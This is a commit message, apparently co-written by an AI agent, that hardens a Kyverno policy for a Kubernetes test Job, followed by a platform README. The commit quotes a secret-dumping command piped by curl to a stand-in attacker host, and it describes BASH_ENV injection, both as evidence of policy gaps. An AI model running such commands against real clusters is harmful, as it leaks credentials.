jakman85andClaude Opus 5
44dbd44333
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
platform/
Cluster-wide platform services, Flux-managed (R-PLAT-01, R-GITOPS-01/02/03). Reconciled
by the platform Flux Kustomization defined in clusters/base/platform.yaml,
before apps/.
Governing spec: docs/05-gitops-and-delivery.md,
docs/01-architecture-overview.md.
Phase 0 scaffolding only. Every component here is a structurally-correct stub — a Flux HelmRelease and/or Kustomization with a values placeholder, a README citing the governing ADR/spec, and TODOs for the phase that fills it in. No cluster exists; nothing reconciles yet. Do not add working config, secrets, or provisioning under Phase 0 (spec
AGENTS.md§1/§5/§6,roadmap/phases.md).
Reconciliation flow (how a change lands)
git (source of truth)
│ operator PR → CI (lint · schema · Kyverno L0 · Chainsaw) → merge to tracked branch
▼
Flux GitRepository (clusters/base/flux-system.yaml)
▼
Flux Kustomization "platform" → ./platform (this dir) ── substituteFrom cluster-vars ──┐
│ prune=true (drift correction, R-GITOPS-03) · wait=true │ R-ENV-02
▼ │
Flux Kustomization "apps" → ./apps (dependsOn platform) ─ substituteFrom cluster-vars ──┘
Git is authoritative; the cluster conforms to git and drift is auto-corrected (R-GITOPS-01/03).
Manual kubectl apply of platform state is prohibited (spec AGENTS.md §5).
The dev ↔ prod overlay model (R-ENV-02)
Platform manifests are authored once. Every value that legitimately differs between environments
is a ${TOKEN} resolved from the cluster-vars ConfigMap via Flux postBuild.substituteFrom. The
clusters/dev and clusters/prod overlays differ only by the values they patch into
cluster-vars (issuer, replica counts, storage sizes, retention). See
clusters/README.md. Base manifests are never forked per environment.
Components (one directory each)
| Dir | Component | Governing ADR / spec | Serves |
|---|---|---|---|
cilium/ |
CNI + kube-proxy replacement + Gateway API + Egress Gateway + Hubble | ADR-0002, docs/03 | R-NET-* |
longhorn/ |
Replicated block storage; 3-replica default StorageClass + bulk tier | ADR-0003, docs/04 | R-STATE-* |
cert-manager/ |
TLS via Let's Encrypt DNS-01 (Cloudflare); staging + prod ClusterIssuers | ADR-0006, docs/08 | R-TLS-* |
externaldns/ |
Automatic DNS records for public services (Cloudflare) | docs/09 | R-DNS-* |
gateway/ |
Gateway API GatewayClass + shared HTTPS Gateway + wildcard cert | ADR-0002/ADR-0006, docs/09 | R-DNS-01, R-TLS-01 |
monitoring/ |
kube-prometheus-stack + Loki + Grafana Alloy + Alertmanager | docs/10 | R-OBS-* |
velero/ |
Off-cluster backup/DR of volumes + resource state | ADR-0003, docs/04 | R-STATE-03 |
kubevirt/ |
KubeVirt + CDI (IaaS: application VMs on the same K8s surface) | ADR-0005, docs/06 | R-PLAT-03 |
image-automation/ |
Flux image-update-automation (hands-off image tag advance) | ADR-0009, docs/11 | R-UPD-02 |
keycloak/ |
Platform IdP (OIDC + SAML), config-as-code, PostgreSQL on Longhorn | ADR-0014, docs/15 | R-IDP-* |
oauth2-proxy/ |
Forward-auth at the Gateway for non-OIDC apps → Keycloak | ADR-0014, docs/15 | R-IDP-* |
kyverno/ |
L0 policy-as-code gate — OWNED BY THE POLICY ENGINEER (WS-TEST). | ADR-0011, docs/14 | R-TEST-* |
⚠️ INTEGRATION TODO(PM): wire kyverno into the platform kustomization
platform/kyverno/ is authored by a different agent (the policy engineer, WS-TEST). This
workstream did not create any files under platform/kyverno/ and must not.
platform/kustomization.yaml intentionally omits - kyverno. Once the
policy engineer's files land, the PM must add - kyverno to that list (recommended first, so
policies are present before other components reconcile). The line is present as a commented TODO in
the kustomization.
Secrets
Every secret referenced below (Cloudflare API token, Velero backup-target creds, Keycloak admin/DB, oauth2-proxy cookie/client secrets) is referenced by name only and will be committed SOPS-encrypted (WS-SEC, ADR-0007). No plaintext secret appears anywhere in this tree.
Cross-workstream contracts surfaced by these stubs
- cilium (WS-NET ↔ WS-INFRA): Cilium's initial CNI install is done by Ansible at cluster bootstrap (docs/02, Phase 1). The HelmRelease here manages Cilium config thereafter; its Helm values MUST match the Ansible bootstrap values (kubeProxyReplacement, k8sServiceHost/Port, API server host) or reconciliation will fight the bootstrap. Contract owner: WS-NET + WS-INFRA.
- gateway + cert-manager + externaldns (WS-NET + WS-SEC): the shared Gateway listener, the
wildcard
*.home.keithjackson.devcert, and the ExternalDNS source all reference each other; they form the "Issuer + Gateway TLS" interface inroadmap/workstreams.md. - image-automation (WS-UPDATE): this dir holds only the cluster-wide ImageUpdateAutomation +
git write-back. Per-service
ImageRepository/ImagePolicyare rendered from each ServiceDefinition'supdateblock (WS-GITOPS/WS-UPDATE), living withapps/. - keycloak/oauth2-proxy (WS-SEC): the SSO/auth contract (
authblock → Keycloak client / oauth2-proxy protection) is owned by WS-SEC; these are placeholders pending that contract.